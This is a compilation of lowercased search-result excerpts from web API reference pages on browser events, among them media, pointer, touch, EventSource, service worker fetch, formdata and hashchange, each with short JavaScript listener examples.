... examples in this simple example, an event listener for the ended event is set up to enable a "start" button in the user interface when the node stops playing: node.addeventlistener('ended', () => { document.getelementbyid("startbutton").disabled = false; }) you can also set up the event handler using the audioscheduledsourcenode.onended property: node.onended = function() { document.getelementbyid("startbutton").disabled = false; } for an example of the ended event in use, see our audio-buffer example on github.
AudioTrackList: change event - Web APIs
the change event is fired when an audio track is enabled or disabled, for example by changing the track's enabled property.
... bubbles no cancelable no interface event event handler property onchange examples using addeventlistener(): const videoelement = document.queryselector('video'); videoelement.audiotracks.addeventlistener('change', (event) => { console.log(`'${event.type}' event fired`); }); // changing the value of `enabled` will trigger the `change` event const toggletrackbutton = document.queryselector('.toggle-track'); toggletrackbutton.addeventlistener('click', () => { const track = videoelement.audiotracks[0]; track.enabled = !track.enabled; }); using the onchange event handler property: const videoelement = document.queryselector('video'); videoelement.audiotracks.onchange = (event) => { console.log(`'${event.type}' event fired`); ...
...}; // changing the value of `enabled` will trigger the `change` event const toggletrackbutton = document.queryselector('.toggle-track'); toggletrackbutton.addeventlistener('click', () => { const track = videoelement.audiotracks[0]; track.enabled = !track.enabled; }); specifications specification status html living standardthe definition of 'change' in that specification.
BeforeInstallPromptEvent.prompt() - Web APIs
the prompt() method of the beforeinstallpromptevent interface allows a developer to show the install prompt at a time of their own choosing.
... syntax beforeinstallpromptevent.prompt() parameters none.
... example var istoosoon = true; window.addeventlistener("beforeinstallprompt", function(e) { if (istoosoon) { e.preventdefault(); // prevents prompt display // prompt later instead: settimeout(function() { istoosoon = false; e.prompt(); // throws if called more than once or default not prevented }, 10000); } // the event was re-dispatched in response to our request // ...
BlobEvent.timecode - Web APIs
the timecode readonlyinline property of the blobevent interface a domhighrestimestamp indicating the difference between the timestamp of the first chunk in data, and the timestamp of the first chunk in the first blobevent produced by this recorder.
... note that the timecode in the first produced blobevent does not need to be zero.
... syntax var timecode = blobevent.timecode value a domhighrestimestamp.
ClipboardEvent.clipboardData - Web APIs
the clipboardevent.clipboarddata property holds a datatransfer object, which can be used: to specify what data should be put into the clipboard from the cut and copy event handlers, typically with a setdata(format, data) call; to obtain the data to be pasted from the paste event handler, typically with a getdata(format) call.
... see the cut, copy, and paste events documentation for more information.
... syntax data = clipboardevent.clipboarddata specifications specification status comment clipboard api and eventsthe definition of 'clipboardevent.clipboarddata' in that specification.
CompositionEvent.locale - Web APIs
the locale read-only property of the compositionevent interface returns the locale of current input method (for example, the keyboard layout locale if the composition is associated with ime).
... syntax mylocale = compositionevent.locale value a domstring representing the locale of current input method.
... specifications specification status comment document object model (dom) level 3 events specification obsolete no longer in the spec, but still supported.
CredentialsContainer.preventSilentAccess() - Web APIs
the preventsilentaccess() method of the credentialscontainer interface sets a flag that specifies whether automatic log in is allowed for future visits to the current origin, then returns an empty promise.
... syntax var promise = credentialscontainer.preventsilentaccess() parameters none.
... specifications specification status comment credential management level 1the definition of 'preventsilentaccess()' in that specification.
CustomEvent.detail - Web APIs
the detail readonly property of the customevent interface returns any data passed when initializing the event.
... syntax let mydetail = customeventinstance.detail; return value whatever data the event was initialized with.
... example // add an appropriate event listener obj.addeventlistener("cat", function(e) { process(e.detail) }); // create and dispatch the event let event = new customevent("cat", { detail: { hazcheeseburger: true } }); obj.dispatchevent(event); // will return an object contaning the hazcheeseburger property let mydetail = event.detail; specifications specification status comment domthe definition of 'detail' in that specification.
DedicatedWorkerGlobalScope: message event - Web APIs
the message event is fired on a dedicatedworkerglobalscope object when the worker receives a message from its parent (i.e.
... bubbles no cancelable no interface messageevent event handler property onmessage examples this code creates a new worker and sends it a message using worker.postmessage(): const worker = new worker("static/scripts/worker.js"); worker.addeventlistener('message', (event) => { console.log(`received message from worker: ${event.data}`) }); the worker can listen for this message using addeventlistener(): // inside static/scripts/worker.js self.addeventlistener('message', (event) => { console.log(`received message from parent: ${event.data}`); }); alternatively, it could listen using the onmessage event handler property: // static/scripts/worker.js self.onmessage = ...
...(event) => { console.log(`received message from parent: ${event.data}`); }; specifications specification status html living standard living standard ...
DeviceLightEvent - Web APIs
the devicelightevent provides web developers with information from photo sensors or similiar detectors about ambient light levels near the device.
... properties devicelightevent.value the level of the ambient light in lux.
... example window.addeventlistener('devicelight', function(event) { console.log(event.value); }); specifications no specification.
DeviceMotionEventAcceleration: x - Web APIs
summary this read-only property indicates the amount of acceleration that occurred along the x axis in a devicemotioneventacceleration object.
... syntax var xaccel = devicemotioneventacceleration.x; return value x a double indicating the amount of acceleration along the x axis.
... specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventacceleration: x' in that specification.
DeviceMotionEventAcceleration: y - Web APIs
summary this read-only property indicates the amount of acceleration that occurred along the y axis in a devicemotioneventacceleration object.
... syntax var yaccel = devicemotioneventacceleration.y; return value y a double indicating the amount of acceleration along the y axis.
... specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventacceleration: y' in that specification.
DeviceMotionEventAcceleration: z - Web APIs
summary this read-only property indicates the amount of acceleration that occurred along the z axis in a devicemotioneventacceleration object.
... syntax var zaccel = devicemotioneventacceleration.z; return value z a double indicating the amount of acceleration along the z axis.
... specifications specification status comment deviceorientation event specificationthe definition of 'devicemotioneventacceleration: z' in that specification.
Document: dragover event - Web APIs
the dragover event is fired when an element or text selection is being dragged over a valid drop target (every few hundred milliseconds).
... the event is fired on the drop target(s).
... interface dragevent event handler property ondragover examples see the drag event for example code or this jsfiddle demo.
Document: drop event - Web APIs
the drop event is fired when an element or text selection is dropped on a valid drop target.
... bubbles yes cancelable yes default action varies interface dragevent event handler property ondrop examples see the drag event for example code or this jsfiddle demo.
... specifications specification status comment html living standardthe definition of 'drop event' in that specification.
Document: fullscreenerror event - Web APIs
the fullscreenerror event is fired when the browser cannot switch to full-screen mode.
... bubbles yes cancelable no interface event event handler property onfullscreenerror as with the fullscreenchange event, two fullscreenerror events are fired; the first is sent to the element which failed to change modes, and the second is sent to the document which owns that element.
... examples const requestor = document.queryselector('div'); document.addeventlistener('fullscreenerror', (event) => { console.error('an error occurred changing into fullscreen'); console.log(event); }); requestor.requestfullscreen(); specifications specification status fullscreen api living standard ...
Document: pointerleave event - Web APIs
the pointerleave event is fired when a pointing device is moved out of the hit test boundaries of an element.
... for pen devices, this event is fired when the stylus leaves the hover range detectable by the digitizer.
... bubbles no cancelable no interface pointerevent event handler property onpointerleave examples using addeventlistener(): document.addeventlistener('pointerleave', (event) => { console.log('pointer left element'); }); using the onpointerleave event handler property: document.onpointerleave = (event) => { console.log('pointer left element'); }; specifications specification status pointer events obsolete ...
Document: readystatechange event - Web APIs
the readystatechange event is fired when the readystate attribute of a document has changed.
... bubbles no cancelable no interface event event handler property onreadystatechange examples live example html <div class="controls"> <button id="reload" type="button">reload</button> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> </div> css body { display: grid; grid-template-areas: "control log"; } .controls { grid-area: control; display: flex; align-items: center; justify-content: center; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } #reload { height: 2rem; } js const log = document.queryselector('.event-log-contents'); const reload = document.querys...
...elector('#reload'); reload.addeventlistener('click', () => { log.textcontent =''; window.settimeout(() => { window.location.reload(true); }, 200); }); window.addeventlistener('load', (event) => { log.textcontent = log.textcontent + 'load\n'; }); document.addeventlistener('readystatechange', (event) => { log.textcontent = log.textcontent + `readystate: ${document.readystate}\n`; }); document.addeventlistener('domcontentloaded', (event) => { log.textcontent = log.textcontent + `domcontentloaded\n`; }); result specifications specification status comment html living standardthe definition of 'readystatechange' in that specification.
Document: selectstart event - Web APIs
the selectstart event of the selection api is fired when a user starts a new selection.
... if the event is canceled, the selection is not changed.
... bubbles yes cancelable yes interface event event handler property onselectstart examples // addeventlistener version document.addeventlistener('selectstart', () => { console.log('selection started'); }); // onselectstart version document.onselectstart = () => { console.log('selection changed.'); }; specifications specification status comment selection apithe definition of 'selectstart' in that specification.
Document: touchcancel event - Web APIs
the touchcancel event is fired when one or more touch points have been disrupted in an implementation-specific manner (for example, too many touch points are created).
... bubbles yes cancelable no interface touchevent event handler property ontouchcancel examples code samples for those events are available on the dedicated page: touch events.
... specifications specification status touch events recommendation ...
Document: touchend event - Web APIs
the touchend event fires when one or more touch points are removed from the touch surface.
... bubbles yes cancelable yes interface touchevent event handler property ontouchend examples code samples for those events are available on the dedicated page: touch events.
... specifications specification status touch events recommendation ...
Document: touchmove event - Web APIs
the touchmove event is fired when one or more touch points are moved along the touch surface.
... bubbles yes cancelable yes interface touchevent event handler property ontouchmove examples code samples for those events are available on the dedicated page: touch events.
... specifications specification status touch events recommendation ...
Document: touchstart event - Web APIs
the touchstart event is fired when one or more touch points are placed on the touch surface.
... bubbles yes cancelable yes interface touchevent event handler property ontouchstart examples code samples for those events are available on the dedicated page: touch events.
... specifications specification status touch events recommendation ...
Document: visibilitychange event - Web APIs
the visibilitychange event is fired at the document when the content of its tab have become visible or have been hidden.
... bubbles yes cancelable no interface event event handler property onvisibilitychange usage notes the event doesn't include the document's updated visibility status, but you can get that information from the document's visibilitystate property.
... document.addeventlistener("visibilitychange", function() { if (document.visibilitystate === 'visible') { backgroundmusic.play(); } else { backgroundmusic.pause(); } }); specifications specification status comment page visibility (second edition)the definition of 'visibilitychange' in that specification.
Element: DOMActivate event - Web APIs
the domactivate event is fired at an element when it becomes active, such as when it is clicked on using the mouse or a keypress is used to navigate to it.
... bubbles yes cancelable yes interface mouseevent examples <svg xmlns="http://www.w3.org/2000/svg" version="1.2" baseprofile="tiny" xmlns:ev="http://www.w3.org/2001/xml-events" width="6cm" height="5cm" viewbox="0 0 600 500"> <desc>example: invoke an ecmascript function from a domactivate event</desc> <!-- ecmascript to change the radius --> <script type="application/ecmascript"><![cdata[ function change(evt) { var circle = evt.target; var currentradius = circle.getfloattrait("r"); if (currentradius == 100) circle.setfloattrait("r", currentradius * 2); else circle.setfloattrait("r", currentradius * 0.5); } ]]></script> <!-- act on each domactivate event --> <circle cx="300" cy="22...
...5" r="100" fill="red"> <handler type="application/ecmascript" ev:event="domactivate"> change(evt); </handler> </circle> <text x="300" y="480" font-family="verdana" font-size="35" text-anchor="middle"> activate the circle to change its size </text> </svg> specifications specification status ui eventsthe definition of 'domactivate' in that specification.
Element: MSGestureChange event - Web APIs
the msgesturechange event is fired when touch contact positions move and also while inertia-based movements are being processed.
... it is a proprietary event specific to microsoft edge and internet explorer.
... bubbles unknown cancelable unknown interface msgestureevent event handler property unknown specifications not part of any specification.
Element: MSGestureEnd event - Web APIs
the msgestureend event is fired when all associated touch points have stopped contacting the touch surface, and any associated inertial movements have ended; thus ending the gesture.
... it is a proprietary event specific to microsoft edge and internet explorer.
... bubbles unknown cancelable unknown interface msgestureevent event handler property unknown specifications not part of any specification.
Element: MSGestureHold event - Web APIs
the msgesturehold event is fired when the user contacts the touch surface and remains in the same position for a while.
... it is a proprietary event specific to microsoft edge and internet explorer.
... bubbles unknown cancelable unknown interface msgestureevent event handler property unknown the uievent.detail property of an msgesturehold event has 3 possible values: msgesture_flag_begin this value indicates that the user started contacting the touch surface.
Element: MSManipulationStateChanged event - Web APIs
it is a proprietary event specific to microsoft edge and internet explorer.
... bubbles unknown cancelable unknown interface msmanipulationevent event handler property unknown get manipulation states using the laststate and currentstate properties.
... examples // listen for panning state change events outerscroller.addeventlistener("msmanipulationstatechanged", function(e) { // check to see if they lifted while pulled to the top if (e.currentstate == ms_manipulation_state_inertia && outerscroller.scrolltop === 0) { refreshitemsasync(); } }); specifications not part of any specification.
Element: fullscreenerror event - Web APIs
the fullscreenerror event is fired when the browser cannot switch to full-screen mode.
... bubbles yes cancelable no interface event event handler property onfullscreenerror as with the fullscreenchange event, two fullscreenerror events are fired; the first is sent to the element which failed to change modes, and the second is sent to the document which contains that element.
... examples const requestor = document.queryselector('div'); requestor.addeventlistener('fullscreenerror', (event) => { console.error('an error occurred changing into fullscreen'); console.log(event); }); requestor.requestfullscreen(); specifications specification status fullscreen api living standard ...
Element: gesturechange event - Web APIs
the gesturechange event is fired when digits move during a touch gesture.
... it is a proprietary event specific to webkit.
... bubbles unknown cancelable unknown interface gestureevent event handler property unknown specifications not part of any specification.
Element: gestureend event - Web APIs
the gestureend event is fired when there are no longer multiple fingers contacting the touch surface, thus ending the gesture.
... it is a proprietary event specific to webkit.
... bubbles unknown cancelable unknown interface gestureevent event handler property unknown specifications not part of any specification.
Element: msContentZoom event - Web APIs
the mscontentzoom event fires when a user zooms the element (changes the scale of the content).
... it is a proprietary event specific to microsoft edge and internet explorer.
... bubbles unknown cancelable unknown interface unknown event handler property unknown example contentzoom.addeventlistener("mscontentzoom", function(e) { zoomfactor.value = contentzoom.mscontentzoomfactor.tofixed(2); }); specifications not part of any specification.
Element: touchcancel event - Web APIs
the touchcancel event is fired when one or more touch points have been disrupted in an implementation-specific manner (for example, too many touch points are created).
... bubbles yes cancelable no interface touchevent event handler property ontouchcancel examples code samples for those events are available on the dedicated page: touch events.
... specifications specification status touch events recommendation ...
Element: touchend event - Web APIs
the touchend event fires when one or more touch points are removed from the touch surface.
... bubbles yes cancelable yes interface touchevent event handler property ontouchend examples code samples for those events are available on the dedicated page: touch events.
... specifications specification status touch events recommendation ...
Element: touchmove event - Web APIs
the touchmove event is fired when one or more touch points are moved along the touch surface.
... bubbles yes cancelable yes interface touchevent event handler property ontouchmove examples code samples for those events are available on the dedicated page: touch events.
... specifications specification status touch events recommendation ...
Element: touchstart event - Web APIs
the touchstart event is fired when one or more touch points are placed on the touch surface.
... bubbles yes cancelable yes interface touchevent event handler property ontouchstart examples code samples for those events are available on the dedicated page: touch events.
... specifications specification status touch events recommendation ...
Element: webkitmouseforcechanged event - Web APIs
the non-standard webkitmouseforcechanged event is fired by safari each time the amount of pressure changes on the trackpad/touchscreen.
... bubbles unknown cancelable unknown interface mouseevent webkitmouseforcechanged is a proprietary, webkit-specific event introduced by apple to support their force touch events feature.
... this event first fires after the mousedown event and stops firing before the mouseup event.
Element: webkitmouseforcedown event - Web APIs
after a mousedown event has been fired at the element, if and when sufficient pressure has been applied to the mouse or trackpad button to qualify as a "force click," safari begins sending webkitmouseforcedown events to the element.
... bubbles unknown cancelable unknown interface mouseevent webkitmouseforcedown is a proprietary, webkit-specific event.
... it is part of the force touch events feature.
Element: webkitmouseforceup event - Web APIs
the non-standard webkitmouseforceup event is fired by safari at an element some time after the webkitmouseforcedown event, when pressure on the button has been reduced sufficiently to end the "force click".
... bubbles unknown cancelable unknown interface mouseevent webkitmouseforceup is a proprietary, webkit-specific event.
... it is part of the force touch events feature.
Event.srcElement - Web APIs
WebAPIEventsrcElement
initially implemented in internet explorer, event.srcelement is a now-standard alias (defined in the dom standard but flagged as "historical") for the event.target property.
...use event.target instead.
... specifications specification status comment domthe definition of 'event.srcelement' in that specification.
Event.stopImmediatePropagation() - Web APIs
the stopimmediatepropagation() method of the event interface prevents other listeners of the same event from being called.
... if several listeners are attached to the same element for the same event type, they are called in the order in which they were added.
... syntax event.stopimmediatepropagation(); specifications specification status comment domthe definition of 'event.stopimmediatepropagation()' in that specification.
EventSource.close() - Web APIs
WebAPIEventSourceclose
the close() method of the eventsource interface closes the connection, if one is made, and sets the eventsource.readystate attribute to 2 (closed).
... syntax eventsource.close(); parameters none.
... examples var button = document.queryselector('button'); var evtsource = new eventsource('sse.php'); button.onclick = function() { console.log('connection closed'); evtsource.close(); } note: you can find a full example on github — see simple sse demo using php.
EventSource.onmessage - Web APIs
the onmessage property of the eventsource interface is an eventhandler called when a message event is received, that is when a message is coming from the source.
... event objects of onmessage event handers are of type messageevent.
... syntax eventsource.onmessage = function examples evtsource.onmessage = function(e) { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); } note: you can find a full example on github — see simple sse demo using php.
EventSource.readyState - Web APIs
the readystate read-only property of the eventsource interface returns a number representing the state of the connection.
... syntax var myreadystate = eventsource.readystate; value a number representing the state of the connection.
... possible values are: 0 — connecting 1 — open 2 — closed examples var evtsource = new eventsource('sse.php'); console.log(evtsource.readystate); note: you can find a full example on github — see simple sse demo using php.
EventSource.url - Web APIs
WebAPIEventSourceurl
the url read-only property of the eventsource interface returns a domstring representing the url of the source.
... syntax var myurl = eventsource.url; value a domstring representing the url of the source.
... examples var evtsource = new eventsource('sse.php'); console.log(evtsource.url); note: you can find a full example on github — see simple sse demo using php.
EventSource.withCredentials - Web APIs
the withcredentials read-only property of the eventsource interface returns a boolean indicating whether the eventsource object was instantiated with cors credentials set.
... syntax var mywithcredentials = eventsource.withcredentials; value a boolean indicating whether the eventsource object was instantiated with cors credentials set (true), or not (false, the default).
... examples var evtsource = new eventsource('sse.php'); console.log(evtsource.withcredentials); note: you can find a full example on github — see simple sse demo using php.
ExtendableMessageEvent.ports - Web APIs
the ports read-only property of the extendablemessageevent interface returns the array containing the messageport objects representing the ports of the associated message channel (the channel the message is being sent through.) syntax var myports = extendablemessageevent.ports; value an array of messageport objects.
... examples when the following code is used inside a service worker to respond to a push messages by sending the data received via pushmessagedata to the main context via a channel message, the event object of onmessage will be a extendablemessageevent.
... var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.ports' in that specification.
FetchEvent.clientId - Web APIs
the clientid read-only property of the fetchevent interface returns the id of the client that the current service worker is controlling.
... syntax var myclientid = fetchevent.clientid; value a domstring that represents the client id.
... example self.addeventlistener('fetch', function(event) { console.log(event.clientid); ​}); specifications specification status comment service workersthe definition of 'clientid' in that specification.
FetchEvent.isReload - Web APIs
the isreload read-only property of the fetchevent interface returns true if the event was dispatched by the user attempting to reload the page, and false otherwise.
... syntax var reloaded = fetchevent.isreload value a boolean.
... example self.addeventlistener('fetch', function(event) { event.respondwith( if (event.isreload) { //return something } else { //return something else }; ); ​}); ...
FetchEvent.replacesClientId - Web APIs
the replacesclientid read-only property of the fetchevent interface is the id of the client that is being replaced during a page navigation.
... syntax var myreplacedclientid = fetchevent.replacesclientid; value a domstring.
... example self.addeventlistener('fetch', function(event) { console.log(event.replacesclientid); }); specifications specification status comment service workersthe definition of 'replacesclientid' in that specification.
FetchEvent.resultingClientId - Web APIs
the resultingclientid read-only property of the fetchevent interface is the id of the client that replaces the previous client during a page navigation.
... syntax var myresultingclientid = fetchevent.resultingclientid; value a domstring.
... example self.addeventlistener('fetch', function(event) { console.log(event.resultingclientid); }); specifications specification status comment service workersthe definition of 'resultingclientid' in that specification.
FormDataEvent.formData - Web APIs
the formdata read only property of the formdataevent interface contains the formdata object representing the data contained in the form when the event was fired.
... syntax formdata = formdataevent.formdata returns a formdata object.
... examples // grab reference to form const formelem = document.queryselector('form'); // submit handler formelem.addeventlistener('submit', (e) => { // on form submission, prevent default e.preventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }); specifications specification status comment html living standardthe definition...
GlobalEventHandlers.onblur - Web APIs
the onblur property of the globaleventhandlers mixin is the eventhandler for processing blur events.
... the blur event is raised when an element loses focus.
...the function receives a focusevent object as its sole argument.
GlobalEventHandlers.oncanplay - Web APIs
the oncanplay property of the globaleventhandlers mixin is the eventhandler for processing canplay events.
... the canplay event is fired when the user agent can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content.
... syntax element.oncanplay = handlerfunction; var handlerfunction = element.oncanplay; handlerfunction is either null or a javascript function specifying the handler for the event.
GlobalEventHandlers.oncanplaythrough - Web APIs
the oncanplaythrough property of the globaleventhandlers mixin is the eventhandler for processing canplaythrough events.
... the canplaythrough event is fired when the user agent can play the media and estimates that enough data has been loaded to play the media up to its end without having to stop for further buffering of content.
... syntax element.oncanplaythrough = handlerfunction; var handlerfunction = element.oncanplaythrough; handlerfunction is either null or a javascript function specifying the handler for the event.
GlobalEventHandlers.ondurationchange - Web APIs
the ondurationchange property of the globaleventhandlers mixin is the eventhandler for processing durationchange events.
... the durationchange event is fired when the duration attribute has been updated.
... syntax element.ondurationchange = handlerfunction; var handlerfunction = element.ondurationchange; handlerfunction is either null or a javascript function specifying the handler for the event.
GlobalEventHandlers.onended - Web APIs
the onended property of the globaleventhandlers mixin is the eventhandler for processing ended events.
... the ended event is fired when playback has stopped because the end of the media was reached.
... syntax element.onended = handlerfunction; var handlerfunction = element.onended; handlerfunction is either null or a javascript function specifying the handler for the event.
GlobalEventHandlers.onfocus - Web APIs
the onfocus property of the globaleventhandlers mixin is an eventhandler that processes focus events on the given element.
... the focus event is raised when the user sets focus on an element.
...the function receives a focusevent object as its sole argument.
GlobalEventHandlers.onformdata - Web APIs
the onformdata property of the globaleventhandlers mixin is the eventhandler for processing formdata events, fired after the entry list representing the form's data is constructed.
...the function receives a formdataevent object as its sole argument.
... examples // grab reference to form const formelem = document.queryselector('form'); // submit handler formelem.addeventlistener('submit', (e) => { // on form submission, prevent default e.preventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.onformdata = (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }; specifications specification status comment html living standardthe definition of 'onformdata' ...
GlobalEventHandlers.ongotpointercapture - Web APIs
the ongotpointercapture property of the globaleventhandlers mixin is an eventhandler that processes gotpointercapture events.
...the function receives a pointerevent object as its sole argument.
... example function overhandler(event) { // determine the target event's gotpointercapture handler let gotcapturehandler = event.target.ongotpointercapture; } function init() { let el = document.getelementbyid('target'); el.ongotpointercapture = overhandler; } specifications specification status comment pointer events – level 2the definition of 'ongotpointercapture' in that specification.
GlobalEventHandlers.onloadeddata - Web APIs
the onloadeddata property of the globaleventhandlers mixin is the eventhandler for processing loadeddata events.
... the loadeddata event is fired when the first frame of the media has finished loading.
... syntax element.onloadeddata = handlerfunction; var handlerfunction = element.onloadeddata; handlerfunction is either null or a javascript function specifying the handler for the event.
GlobalEventHandlers.onloadedmetadata - Web APIs
the onloadedmetadata property of the globaleventhandlers mixin is the eventhandler for processing loadedmetadata events.
... the loadedmetadata event is fired when the metadata has been loaded.
... syntax element.onloadedmetadata = handlerfunction; var handlerfunction = element.onloadedmetadata; handlerfunction should be either null or a javascript function specifying the handler for the event.
GlobalEventHandlers.onlostpointercapture - Web APIs
the onlostpointercapture property of the globaleventhandlers mixin is an eventhandler that processes lostpointercapture events.
...the function receives a pointerevent object as its sole argument.
... example function overhandler(event) { // determine the target event's lostpointercapture handler let lostcapturehandler = event.target.onlostpointercapture; } function init() { let el = document.getelementbyid('target'); el.onlostpointercapture = overhandler; } specifications specification status comment pointer events – level 2the definition of 'onlostpointercapture' in that specification.
GlobalEventHandlers.onmouseenter - Web APIs
the onmouseenter property of the globaleventhandlers mixin is the eventhandler for processing mouseenter events.
... the mouseenter event is fired when a pointing device (usually a mouse) is moved over the element that has the listener attached.
... syntax element.onmouseenter = handlerfunction; var handlerfunction = element.onmouseenter; handlerfunction is either null or a javascript function specifying the handler for the event.
GlobalEventHandlers.onmouseleave - Web APIs
the onmouseleave property of the globaleventhandlers mixin is the eventhandler for processing mouseleave events.
... the mouseleave event is fired when a pointing device (usually a mouse) is moved off the element that has the listener attached.
... syntax element.onmouseleave = handlerfunction; var handlerfunction = element.onmouseleave; handlerfunction is either null or a javascript function specifying the handler for the event.
GlobalEventHandlers.onmouseover - Web APIs
the onmouseover property of the globaleventhandlers mixin is an eventhandler that processes mouseover events.
... the mouseover event fires when the user moves the mouse over a particular element.
... syntax element.onmouseover = function; example this example adds an onmouseover and an onmouseout event to a paragraph.
GlobalEventHandlers.onpause - Web APIs
the onpause property of the globaleventhandlers mixin is the eventhandler for processing pause events.
... the pause event is fired when media playback has been paused.
... syntax element.onpause = handlerfunction; var handlerfunction = element.onpause; handlerfunction should be either null or a javascript function specifying the handler for the event.
GlobalEventHandlers.onplay - Web APIs
the onplay property of the globaleventhandlers mixin is the eventhandler for processing play events.
... syntax element.onplay = handlerfunction; var handlerfunction = element.onplay; handlerfunction should be either null or a javascript function specifying the handler for the event.
... example <p>this example demonstrates how to assign an "onplay" event to a video element.</p> <video controls onplay="alertplay()"> <source src="mov_bbb.mp4" type="video/mp4"> <source src="mov_bbb.ogg" type="video/ogg"> your browser does not support html5 video.
GlobalEventHandlers.onplaying - Web APIs
the onplaying property of the globaleventhandlers mixin is the eventhandler for processing playing events.
... the playing event is fired when playback is ready to start after having been paused or delayed due to lack of media data.
... syntax element.onplaying = handlerfunction; var handlerfunction = element.onplaying; handlerfunction is either null or a javascript function specifying the handler for the event.
HTMLCanvasElement: webglcontextcreationerror event - Web APIs
the webglcontextcreationerror event of the webgl api is fired if the user agent is unable to create a webglrenderingcontext context.
... this event has a webglcontextevent.statusmessage property, which can contain a platform dependent string with more information about the failure.
... bubbles yes cancelable yes interface webglcontextevent event handler property none example var canvas = document.getelementbyid('canvas'); canvas.addeventlistener('webglcontextcreationerror', function(e) { console.log(e.statusmessage || 'unknown error'); }, false); var gl = canvas.getcontext('webgl'); // logs statusmessage or "unknown error" if unable to create webgl context specifications specification status comment webgl 1.0the definition of 'webglcontextcreationerror' in that specification.
HTMLDetailsElement: toggle event - Web APIs
the toggle event fires when the open/closed state of a <details> element is toggled.
... bubbles no cancelable no interface event event handler property none default action toggles the open state of the <details> element.
...ails> </section> css body { display: flex; flex-direction: row-reverse; } #log { flex-shrink: 0; padding-left: 3em; } #summaries { flex-grow: 1; } javascript function logitem(e) { const item = document.queryselector(`[data-id=${e.target.id}]`); item.toggleattribute('hidden'); } const chapters = document.queryselectorall('details'); chapters.foreach((chapter) => { chapter.addeventlistener('toggle', logitem); }); result specifications specification status comment html living standardthe definition of 'toggle event' in that specification.
HTMLDialogElement: close event - Web APIs
the close event is fired on an htmldialogelement object when the dialog it represents has been closed.
... bubbles no cancelable no interface event event handler property onclose examples live example html <dialog class="example-dialog"> <button class="close" type="reset">close</button> </dialog> <button class="open-dialog">open dialog</button> <div class="result"></div> css button, div { margin: .5rem; } js const result = document.queryselector('.result'); const dialog = document.queryselector('.example-dialog'); dialog.addeventlistener('close', (event) => { result.textcontent = 'dialog was closed'; }); const opendialog = document.queryselector('.open-dialog'); opendialog.addeventlistener('click', () => { if (typeof dialog.showmodal === 'function') { dialog.showmodal(); result.textcontent = ''; } else...
... { result.textcontent = 'the dialog api is not supported by this browser'; } }); const closebutton = document.queryselector('.close'); closebutton.addeventlistener('click', () => { dialog.close(); }); result specifications specification status html living standardthe definition of 'close' in that specification.
HTMLElement: pointerdown event - Web APIs
the pointerdown event is fired when a pointer becomes active.
... bubbles yes cancelable yes interface pointerevent event handler property onpointerdown examples using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointerdown', (event) => { console.log('pointer down event'); }); using the onpointerdown event handler property: const para = document.queryselector('p'); para.onpointerdown = (event) => { console.log('pointer down event'); }; specifications specification status ...
...pointer events obsolete ...
HTMLElement: pointerleave event - Web APIs
the pointerleave event is fired when a pointing device is moved out of the hit test boundaries of an element.
... for pen devices, this event is fired when the stylus leaves the hover range detectable by the digitizer.
... bubbles no cancelable no interface pointerevent event handler property onpointerleave examples using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointerleave', (event) => { console.log('pointer left element'); }); using the onpointerleave event handler property: const para = document.queryselector('p'); para.onpointerleave = (event) => { console.log('pointer left element'); }; specifications specification status pointer events obsolete ...
HTMLElement: pointermove event - Web APIs
the pointermove event is fired when a pointer changes coordinates, and the pointer has not been canceled by a browser touch-action.
... bubbles yes cancelable yes interface pointerevent event handler property onpointermove usage notes the event, which is of type pointerevent, provides all the information you need to know about the user's interaction with the pointing device, including the position, movement distance, button states, and much more.
... examples to add a handler for pointermove events using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointermove', (event) => { console.log('pointer moved'); }); you can also use the onpointermove event handler property: const para = document.queryselector('p'); para.onpointermove = (event) => { console.log('pointer moved'); }; specifications specification status pointer events obsolete ...
HTMLFormElement: formdata event - Web APIs
the formdata event fires after the entry list representing the form's data is constructed.
... general info bubbles no cancelable no interface formdataevent event handler property globaleventhandlers.onformdata examples // grab reference to form const formelem = document.queryselector('form'); // submit handler formelem.addeventlistener('submit', (e) => { // on form submission, prevent default e.preventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value ...
...of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }); the onformdata version would look like this: formelem.onformdata = (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }; specifications specification status comment html living standardthe definition of 'formdata' in that specification.
HashChangeEvent.newURL - Web APIs
the newurl read-only property of the hashchangeevent interface returns the new url to which the window is navigating.
... syntax let neweventurl = event.newurl; value a domstring.
... example window.addeventlistener('hashchange', function(event) { console.log('hash changed to ' + event.newurl); }); specifications specification status comment html living standardthe definition of 'hashchangeevent: newurl' in that specification.
HashChangeEvent.oldURL - Web APIs
the oldurl read-only property of the hashchangeevent interface returns the previous url from which the window was navigated.
... syntax let oldeventurl = event.oldurl; value a domstring.
